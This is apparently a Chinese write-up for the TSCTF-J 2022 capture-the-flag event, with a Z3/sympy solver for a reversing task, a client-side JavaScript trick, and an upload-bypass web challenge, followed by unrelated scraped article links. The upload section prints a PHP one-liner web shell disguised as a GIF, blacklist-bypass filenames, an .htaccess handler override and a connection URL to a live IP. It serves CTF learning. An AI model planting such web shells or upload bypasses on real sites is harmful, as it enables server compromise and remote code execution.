0x54, 0x71, 0x0A, 0x8B, 0x1E, 0xAB, 0xC5, 0x7A, 0x72, 0x4B,
0xEC, 0xC3, 0xF6, 0x25, 0x89, 0x75, 0xF5, 0x59, 0xFF, 0x17,
0x94, 0xF3, 0x30, 0x6C, 0xE7, 0x36, 0x64, 0x1F, 0x69, 0x28,
0x2E, 0xA6, 0x63, 0xD0, 0x32, 0x16, 0x08, 0xF8, 0x20, 0xC8,
0x8F, 0x82, 0xEE, 0x10, 0xFD, 0x97, 0x6D, 0x62, 0x3A, 0x0F,
0xC6, 0x01, 0x0B, 0xE3, 0xC0, 0x11, 0x58, 0x27, 0x0D, 0x2D,
0x5A, 0x44, 0x1D, 0x50, 0xE6, 0x03, 0x26, 0xA5, 0x6E, 0xF1,
0x9E, 0xAF, 0x74, 0x45, 0x7F, 0x49, 0x66, 0x14, 0x09, 0x06,
0xB5, 0xF9, 0xB1, 0x12, 0x4D, 0xF2, 0x7B, 0x31, 0x5D, 0xFA,
0x86, 0x07, 0xFE, 0xEF, 0xE0, 0xCC, 0xA0, 0x8E, 0x5C, 0xDF,
0x78, 0xB3, 0xBA, 0xBF, 0xF7, 0x70, 0xB4, 0xB0, 0xDB, 0xA3,
0xE5, 0x18, 0xCF, 0x61, 0x87, 0xCA, 0x9B, 0x4C, 0x37, 0x9A,
0x91, 0xA8, 0xA9, 0x92, 0x57, 0x52, 0xED, 0xA7, 0x79, 0x51,
0xA1, 0x84, 0x3C, 0x04, 0x60, 0xA4, 0x15, 0x4A, 0xE1, 0x47,
0xDA, 0xD4, 0x4F, 0x80, 0xAA, 0x99, 0x9D, 0xBC, 0x46, 0x29,
0x33, 0xE9, 0x93, 0xC9, 0x76, 0x00, 0x8A, 0x53, 0x34, 0xD9,
0xF0, 0xC1, 0xDC, 0xDD, 0x13, 0x90, 0xB7, 0x4E, 0x5F, 0xD1,
0xE2, 0xFB, 0xB9, 0xDE, 0xE8, 0x5E, 0x2A, 0xC7, 0x3F, 0x5B,
0x43, 0x98, 0x83, 0xC2, 0x02, 0xCD, 0xD5, 0xEA, 0x95, 0xE4,
0x68, 0x0E, 0xBB, 0x1C, 0x21, 0x88]
order = [0x10, 0x05, 0x09, 0x04, 0x02, 0x0B, 0x07, 0x0E, 0x03, 0x0A, 0x06, 0x0F, 0x0D, 0x08, 0x0C, 0x01]
data = [0x19, 0xB0, 0x51, 0x6F, 0x4F, 0x0E, 0x2D, 0xAC, 0x4F, 0x0E, 0x2D, 0xAC, 0x6E, 0x19, 0xB0, 0x51]
unk_4051E0 = [0x18, 0x76, 0x02, 0xE9, 0xA4, 0x00, 0x08, 0x35, 0x74, 0x20, 0x02, 0xB9, 0x5A, 0xC7, 0x6F, 0x6F]
end = [805, 3371, 549, 2028]
# v11 = v16 + v17 * a4;
# *(_QWORD *)(a3 + 8 * v11) += *(_QWORD *)(a2 + 8LL * (v16 + v15 * a4)) * * (_QWORD *)(a1 + 8LL * (v15 + v17 * a4));
def enc1(order, data):
tmp = [0] * 16
for i in range(2):
for k in range(2):
for j in range(2):
tmp[k + 2 * i] += order[j + i * 2] * data[k + j * 2]
return tmp
tmp1 = [0] * 16
tmp2 = [0] * 16
for i in range(4):
tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:])
for k in range(4):
tmp2[i * 4 + k] -= order[i * 4 + k] * 0x3C47
tmp2[i * 4 + k] = tmp2[i * 4 + k] >> 1
print("第", i, "组:", tmp2)
print(tmp2)
# 下面是解密脚本
enc=[0x62961C0FE4D28,0x37FB23287E2852,0x3E1C8F5457EF0,0x234502946A064A,0xD87741DA9D659,0x26269C0306349,0x138CA0B38EE747,0x37209312D14CF,0x6FFB20902E85A6,0xA4DFB45E434627,0xB2F4F8CBA70ADE,0x1077C2F84B5994B,0x413B997953E9D1,0x642F09CFEEA51C,0x20DBBAEB80A022,0x3276ADEF34B91D]
def enc2(): # 列出 方程组
for i in range(2):
for k in range(2):
for j in range(2):
print('tmp[', k + 2 * i, ']+=order[', j + i * 2, '] * data[', k + j * 2, ']')
# tmp[k + 2 * i] += order[j + i * 2] * data[k + j * 2]
enc2()
# 参数相同时可转化为方程
# tmp0= x0*x0+x1*x2
# tmp1= x0*x1+x1*x3
# tmp2= x2*x0+x3*x2
# tmp3= x2*x1+x3*x3
# z3 解方程
def dec1(tmp):
print(tmp)
x0 = Int("x0")
x1 = Int("x1")
x2 = Int("x2")
x3 = Int("x3")
s = Solver()
s.add(tmp[0] == x0 * x0 + x1 * x2)
s.add(tmp[1] == x0 * x1 + x1 * x3)
s.add(tmp[2] == x2 * x0 + x3 * x2)
s.add(tmp[3] == x2 * x1 + x3 * x3)
if s.check() == sat:
model = s.model()
ret = [0] * 4
print(model)
for d in model.decls():
ret[int("%s" % (d.name())[1:])] = int("%s" % (model[d]))
return ret
else:
print('dec1:[-]')
def dec2(tmp, data):
x0 = Int("x0")
x1 = Int("x1")
x2 = Int("x2")
x3 = Int("x3")
s = Solver()
s.add(tmp[0] == x0 * data[0] + x1 * data[2])
s.add(tmp[1] == x0 * data[1] + x1 * data[3])
s.add(tmp[2] == x2 * data[0] + x3 * data[2])
s.add(tmp[3] == x2 * data[1] + x3 * data[3])
if s.check() == sat:
model = s.model()
ret = [0] * 4
print(model)
for d in model.decls():
ret[int("%s" % (d.name())[1:])] = int("%s" % (model[d]))
return ret
else:
print('dec2:[-]')
def dec3(tmp, data):
x0 = Int("x0")
x1 = Int("x1")
x2 = Int("x2")
x3 = Int("x3")
s = Solver()
s.add(tmp[0] == (data[0] * x0 + data[1] * x2) * x0 + (data[0] * x1 + data[1] * x3) * x2)
s.add(tmp[1] == (data[0] * x0 + data[1] * x2) * x1 + (data[0] * x1 + data[1] * x3) * x3)
s.add(tmp[2] == (data[2] * x0 + data[3] * x2) * x0 + (data[3] * x3 + data[2] * x1) * x2)
s.add(tmp[3] == (data[2] * x0 + data[3] * x2) * x1 + (data[3] * x3 + data[2] * x1) * x3)
if s.check() == sat:
model = s.model()
ret = [0] * 4
print(model)
for d in model.decls():
ret[int("%s" % (d.name())[1:])] = int("%s" % (model[d]))
return ret
else:
print('dec3:[-]')
# def dec4(tmp):
# x0 = Int("x0")
# s = Solver()
# num=
# s.add(tmp==(x0-x0*0x3c47)/2)
#
# if s.check() == sat:
# model = s.model()
# ret = [0] * 1
# print(model)
# for d in model.decls():
# ret[int("%s" % (d.name())[1:])] = int("%s" % (model[d]))
# return ret
# else:
# print("[--]")
# tmp = [0, 0, 0, 0]
# print(dec1(tmp))
# 解密
data = [0]*16
tmp1 = [0] * 16
tmp2=enc
# print(tmp2)
# tmp2 = [0] * 16
for i in range(3, -1, -1):
# for k in range(4):
# tmp2[i * 4 + k] -= order[i * 4 + k] * 0x3C47
# tmp2[i * 4 + k] = tmp2[i * 4 + k] >> 1
# 加密时存在一个>>1,造成的多解问题,Z3 解的时候,直接中断了
# 这里还未解决
for k in range(4):
num=tmp2[i * 4 + k]
tmp2[i * 4 + k] = tmp2[i * 4 + k]*2 + order[i * 4 + k] * 0x3C47
# tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
# tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:])
# 上面两步的逆向
print(tmp2[i * 4:])
tmp1[i * 4:] = dec1(tmp2[i * 4:])
tmp2[i * 4:] = dec2(tmp1[i * 4:], unk_4051E0[i * 4:])
# tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
# tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
# 上面两步的逆向,也可以转化为一个方程!
data[i * 4:] = dec3(tmp2[i * 4:], order[i * 4:])
# tmp1[i * 4:] = enc1(order[i * 4:], data[i * 4:])
# tmp2[i * 4:] = enc1(tmp1[i * 4:], data[i * 4:])
# tmp1[i * 4:] = enc1(tmp2[i * 4:], unk_4051E0[i * 4:])
# tmp2[i * 4:] = enc1(tmp1[i * 4:], tmp1[i * 4:])
print("第", i, "组:", data)
# 如上解得 data 后,通过映射表,即可得到flag。
但是,上面有一个问题,【加密存在一个>>1,造成的多解问题,Z3 解的时候,直接中断了,所以还需要设计一个环节,就是让Z3程序脚本无整数解,或无解时,自动结束,开始下一组爆破(每轮16组爆破就可以得到)】【后面有时间可以再完善一下脚本,看能不能跑出来】
【可想而知,3/3天快结束了,肝不动了】
果断求助出题人大大!!!
0x05 果断求助出题人大大!!!
对程序解密卡住了,联系出题人大大,得到解密脚本!
好家伙,属实是我想不到的,不知道的。
from sympy import *
a = Symbol('a');b = Symbol('b');c = Symbol('c');d = Symbol('d')
B0 = [16,5,9,4,2,11,7,14,3,10,6,15,13,8,12,1]
D0 = [24,118,2,233,164,0,8,53,116,32,2,185,90,199,111,111]
K = 15431
my_dict = [25, 27, 5, 178, 36, 206, 119, 124, 126, 156, 34, 101, 244, 235, 190, 85, 216, 196, 44, 184, 62, 61, 111, 182, 189, 140, 57, 72, 203, 56, 115, 12, 106, 59, 129, 159, 125, 43, 103, 26, 210, 64, 252, 53, 211, 214, 65, 150, 86, 172, 107, 173, 133, 174, 162, 141, 66, 47, 215, 35, 84, 113, 10, 139, 30, 171, 197, 122, 114, 75, 236, 195, 246, 37, 137, 117, 245, 89, 255, 23, 148, 243, 48, 108, 231, 54, 100, 31, 105, 40, 46, 166, 99, 208, 50, 22, 8, 248, 32, 200, 143, 130, 238, 16, 253, 151, 109, 98, 58, 15, 198, 1, 11, 227, 192, 17, 88, 39, 13, 45, 90, 68, 29, 80, 230, 3, 38, 165, 110, 241, 158, 175, 116, 69, 127, 73, 102, 20, 9, 6, 181, 249, 177, 18, 77, 242, 123, 49, 93, 250, 134, 7, 254, 239, 224, 204, 160, 142, 92, 223, 120, 179, 186, 191, 247, 112, 180, 176, 219, 163, 229, 24, 207, 97, 135, 202, 155, 76, 55, 154, 145, 168, 169, 146, 87, 82, 237, 167, 121, 81, 161, 132, 60, 4, 96, 164, 21, 74, 225, 71, 218, 212, 79, 128, 170, 153, 157, 188, 70, 41, 51, 233, 147, 201, 118, 0, 138, 83, 52, 217, 240, 193, 220, 221, 19, 144, 183, 78, 95, 209, 226, 251, 185, 222, 232, 94, 42, 199, 63, 91, 67, 152, 131, 194, 2, 205, 213, 234, 149, 228, 104, 14, 187, 28, 33, 136]
flag = "flag{"
def is_positive_integer(num):
if num < 0: return False
s=str(num).split('.')
if len(s) == 1: return True
return float(s[1])==0
def solve_square(B):
# A = B*B -> solve A
global a,b,c,d
S = eval("solve([a*a+b*c-%d,a*b+b*d-%d,a*c+c*d-%d,b*c+d*d-%d],[a,b,c,d])"%(B[0],B[1],B[2],B[3]))
for s in S:
s = [float(item) for item in list(s)]
if is_positive_integer(s[0]) and is_positive_integer(s[1]) and is_positive_integer(s[2]) and is_positive_integer(s[3]):
return s
return None
def solve_inv(B,C):
# A*B = C -> solve A
global a,b,c,d
S = eval("solve([%d*a+%d*b-%d,%d*a+%d*b-%d,%d*c+%d*d-%d,%d*c+%d*d-%d],[a,b,c,d])"%(B[0],B[2],C[0],B[1],B[3],C[1],B[0],B[2],C[2],B[1],B[3],C[3]))
A = [float(S[item]) for item in [a,b,c,d]]
if not is_positive_integer(A[0]):return None
return [int(item) for item in A]
def solve_inv2(A,C):
# A*B = C -> solve B
global a,b,c,d
S = eval("solve([%d*a+%d*c-%d,%d*b+%d*d-%d,%d*a+%d*c-%d,%d*b+%d*d-%d],[a,b,c,d])"%(A[0],A[1],C[0],A[0],A[1],C[1],A[2],A[3],C[2],A[2],A[3],C[3]))
A = [float(S[item]) for item in [a,b,c,d]]
if not is_positive_integer(A[0]):return None
return [int(item) for item in A]
def solve_other(B,index,add="0000"):
# (A-D)/2 = B -> solve A
global B0,K
C = [0,0,0,0]
for i in range(4):
C[i] = B[i]*2+int(add[i])+K*B0[4*index+i]
return C
def solve_once(B,index):
global my_dict,flag
for i in range(16):
print("Trying part %d.%d"%(index+1,i))
s = solve_other(B,index,add=bin(i)[2:].zfill(4))
s = solve_square(s)
if s == None: continue # skip not integer
s = solve_inv(D0[4*index:4*index+4],s)
if s == None: continue
s = solve_inv2(B0[4*index:4*index+4],s)
if s == None: continue
s = solve_square(s)
if s == None: continue
s = [my_dict.index(item^cipher) for item in s]
s = "".join([hex(t)[2:] for t in s])
flag += s; print(flag)
return
import time
start = time.time()
data = [1734349686721832,15757252140869714,1092678154813168,9927501567100490,3808107480864345,671156288906057,5502646392645447,969808735442127,31519839691376038,46407861949122087,50371895260285662,74164462406703435,18361403837770193,28199216860800284,9248795116216354,14204238250162461]
for i in range(4):
solve_once(data[4*i:4*i+4],i)
print(flag+"}")
print(time.time()-start)
得到 651f31a7-5c6f-4ee4-a435-accb084dffb7
TSCTF-J{651f31a7-5c6f-4ee4-a435-accb084dffb7}
就到这吧!后面在学学这个强大的库!!!但看看代码量也不简单呀,,,
Web
词超人
思路,填对单词英文就能得到flag!!!
这里通过修改dom 文档得到
function uncover(button){
button.parentNode.getElementsByClassName('en')[0].style.visibility=
button.parentNode.getElementsByClassName('en')[0].style.visibility=="hidden"?
"visible":
"hidden"
}
function submit(){
const answerArray=[];
let divArray=document.getElementsByClassName('chunk')
for(div of divArray){
answerArray.push({id:div.id,answer:div.getElementsByTagName('input')[0].value})
}
const xhr = new XMLHttpRequest();
const url = "/submit";
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
alert(xhr.responseText)
}
};
xhr.send(JSON.stringify(answerArray));
}
====》修改如下:
function uncover(button){
button.parentNode.getElementsByClassName('en')[0].style.visibility=
button.parentNode.getElementsByClassName('en')[0].style.visibility=="hidden"?
"visible":
"hidden"
}
function submit(){
const answerArray=[];
let divArray=document.getElementsByClassName('chunk')
for(div of divArray){
// 这里修改,获取隐藏的单词,直接进行提交,【div.childNodes[7]通过控制台,dom文档树查看 】answerArray.push({id:div.id,answer:div.childNodes[7].innerHTML})
}
const xhr = new XMLHttpRequest();
const url = "/submit";
xhr.open("POST", url, true);
xhr.setRequestHeader("Content-Type", "application/json");
xhr.onreadystatechange = function () {
if (xhr.readyState === 4 && xhr.status === 200) {
alert(xhr.responseText)
}
};
xhr.send(JSON.stringify(answerArray));
}
TSCTF-J{naughty_or_diligent–which_type_you_are?_}
OnlyIMG
0x01 程序分析
www.zip文件:
<?php
$blacklist = array("ph","htm","ini","js","jtml", "as","cer", "swf");
if ($_FILES["file"]["error"] > 0)
{
echo "Error !" . "<br>";
}
else
{
if($_FILES["file"])
{
$dst = -----A-Secret-Path----- ; // 不能说的秘密
$fileinfo = array($_FILES["file"]["name"],$dst);//创建数组
$file_name = trim($_FILES['file']['name']);
foreach ($blacklist as $blackitem)
{
if (preg_match('/' . $blackitem . '/im', $file_name)) //过滤黑名单
{
die("Upload Fail , Do not upload strange file ~");
}
}
$tmp_name = $_FILES["file"]["tmp_name"]; //$_FILES['myFile']['tmp_name'] 储存的临时文件名,一般是系统默认。
$contents = file_get_contents($tmp_name);
if (mb_strpos($contents, "<?p") !== FALSE) # <? 绕过
{
die("Upload Fail , Why is there PHP code in your pic ?");
}
if (!is_dir($dst))
{
mkdir($dst);
}
move_uploaded_file($_FILES["file"]["tmp_name"],"$fileinfo[1]/$fileinfo[0]");//保存文件
$msg="Upload Success ! Your file name is : %s";
foreach($fileinfo as $key => $value) // 文件名加一个 %s 即可获得隐藏路径
{
$msg = sprintf($msg, $value);
}
echo $msg;
echo "<br>But I don't know where it stores......";
}
else
{
echo "Please select your file to upload first !" . "<br>";
}
}
trim(string,charlist)
参数 描述
string 必需。规定要检查的字符串。
charlist
可选。规定从字符串中删除哪些字符。如果被省略,则移除以下所有字符:
"\0" - NULL
"\t" - 制表符
"\n" - 换行
"\x0B" - 垂直制表符
"\r" - 回车
" " - 空格
0x02 上传一句话木马
文件名 test_%s_.png
GIF89a?
<script language="php"> @eval($_REQUEST['pass']);
</script>
Upload Success ! Your file name is : test_./83ded6_.png
那么连接路径就是:
/83ded6/test_%s_.png 【% 编码为%25】
蚁剑连接
http://39.107.138.71:8080/83ded6/test_%25s_.png
连接失败!!!
原来是需要将后缀名改为 php 文件类型才能解析。
同时得绕过后端黑名单,那么将前端.jpg 绕过,后端burp抓包修改
------WebKitFormBoundarycExQnGZBR5mtzXnT
Content-Disposition: form-data; name="file"; filename="test_%s_."
Content-Type: image/png
GIF89a?
<script language="php"> @eval($_GET['cmd']);
</script>
------WebKitFormBoundarycExQnGZBR5mtzXnT
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundarycExQnGZBR5mtzXnT--
====>改为
------WebKitFormBoundaryCeL3KgxBwwMYN8DU
Content-Disposition: form-data; name="file"; filename="test_%s_.p%10hp"
Content-Type: text/plain
GIF89a?
<script language="php"> @eval($_GET['cmd']);
</script>
------WebKitFormBoundaryCeL3KgxBwwMYN8DU
Content-Disposition: form-data; name="submit"
涓婁紶
------WebKitFormBoundaryCeL3KgxBwwMYN8DU--
0x03 htaccess 方式
[黑名单不好绕过,],使用 .htaccess 方式将文件解析为php执行
<FilesMatch "\.png">
SetHandler application/x-httpd-php
</FilesMatch>
无法使用!!!,上传的代码解析到页面上了
再次尝试<?,发现可以打印hahah,说明这个思路是可以的。
那么之前失败的原因是
<script language="php"> @eval($_REQUEST['pass']);
</script> # 无法执行
# 可以
GIF89a?
<? echo "hahah";@eval($_REQUEST['pass']);?>
【通过 <? 绕过 ,但不知道为啥 <script 用不了】
中国蚁剑连接,获得flag
TSCTF-J{Ht_Of_4PachE_is_7O0_simpL3_r1ght?}
TSCTF-J 2022 WP的更多相关文章
- android Gui系统之SurfaceFlinger(4)---Vsync(1)
8.Vsync 8.1概论 VSYNC(Vertical Synchronization)是一个相当古老的概念,对于游戏玩家,它有一个更加大名鼎鼎的中文名字—-垂直同步. “垂直同步(vsync)”指 ...
- 利用 cos 组件实现jsp中上传附件
需求:在web功能中附件上传功能为最基本的功能之一,所以用cos组件做了一个附件上传的demo.附件上传功能的实现可以利用其它的java组件实现,相关资料网上比较多. 说明步骤:下载组件并安装 --& ...
- scroller
sh做的js控件. 另外内部被scroller包裹的div不可以定位成absolute,会撑不出高度. 上面只是使用的注意事项. 很佩服人家能封装出这样的控件. 如果我也能写得出来就能毕业了,也不用担 ...
- 在JasperReport中填充JavaBean(4)
使用Parameters参数对象传递字符串的示例,本节将演示打印List接口中Userinfo.java实体类的示例,打印的数据源不是来自于Parameters对象,而是JRBeanCollectio ...
- C#创建Windows服务与安装-图解
1.创建windows服务项目
- bzoj4814: [Cqoi2017]小Q的草稿
Description 小Q是个程序员.众所周知,程序员在写程序的时候经常需要草稿纸.小Q现在需要一张草稿纸用来画图,但是桌上 只有一张草稿纸,而且是一张被用过很多次的草稿纸.草稿纸可以看作一个二维平 ...
- UVALive 6893 The Big Painting hash
The Big Painting 题目连接: http://acm.hust.edu.cn/vjudge/contest/view.action?cid=122283#problem/J Descri ...
- springMVC源代码阅读之servlet部分<一>servlet部分详解
[一]servlet的概念
- PCA与ICA
关于机器学习理论方面的研究,最好阅读英文原版的学术论文.PCA主要作用是数据降维,而ICA主要作用是盲信号分离.在讲述理论依据之前,先思考以下几个问题:真实的数据训练总是存在以下几个问题: ①特征冗余 ...
- 【机器学习】ICA算法简介
ICA算法的研究可分为基于信息论准则的迭代估计方法和基于统计学的代数方法两大类,从原理上来说,它们都是利用了源信号的独立性和非高斯性.基于信息论的方法研究中,各国学者从最大熵.最小互信息.最大似然和负 ...
随机推荐
- 【Java】生成随机字符串
package com.runsky.utils; import java.util.Random; public class GetRandom { private static final Str ...
- 再见IE
- ethcat开发记录 二
SOEM移植到stm32f407+LAN8720硬件上的注意点 1.LAN8720的PHY地址问题. 2.LAN8720芯片在上电后要对复位引脚操作. 3.使能LAN8720的混杂模式,在新的HAL库 ...
- 【APT】海莲花组织DLL样本分析
前言 样本来源Twitter,之前的文章已经完整分析过一个类似的DLL样本,这次做个简单记录. 样本分析 样本信息如下: DLL文件共有40个导出函数: 导出函数内容基本一致,恶意代码都在DllMai ...
- qt中的一些对话框(个人备忘录)
一.标准对话框 1.对于颜色对话框 void MyWidget::on_pushButton_clicked() { QColorDialog dialog(Qt::red,this); dialog ...
- 【Delphi7官方镜像版】delphi_7_ent_en官方镜像 阿里云盘
[Delphi7官方镜像版]「delphi_7_ent_en官方镜像.iso.exe」https://www.aliyundrive.com/s/Du9C4XfZfwG 点击链接保存,或者复制本段内容 ...
- Vuex的核心State
State提供唯一的公共数据源,所有共享的数据都要统一放到 Store的 State 中进行存储. import Vue from 'vue' import Vuex from 'vuex' Vue. ...
- python3GUI--打造一款音乐播放器By:PyQt5(附下载地址)
@ 目录 一.准备工作 1.PyQt5 2.qtawesome 二.预览 1.启动 2.歌曲搜索 3.歌曲播放 4.评论查看 5.自定义背景 6.设置-基本设置 7.设置-高级设置 8.定时任务 三. ...
- AES加密 php7版本 openssl_encrypt 遇到的坑
与前端对接api ,解密不了前端加密的数据. 问题描述: 1.前端用 cryptojs 加密的 密钥是24位 , 2.后端用的php7的 openssl_encrypt 同密钥来进行解密,发现解密 ...
- openfire开源IM服务器知识分享+社交app实战
一. 概述 Openfire最主要的功能是实现XMPP服务器,简单来说,openfire为我们提供一个固定的地址,我们只需要向openfire服务器发送标准的XMPP信息(即XML文件流), ...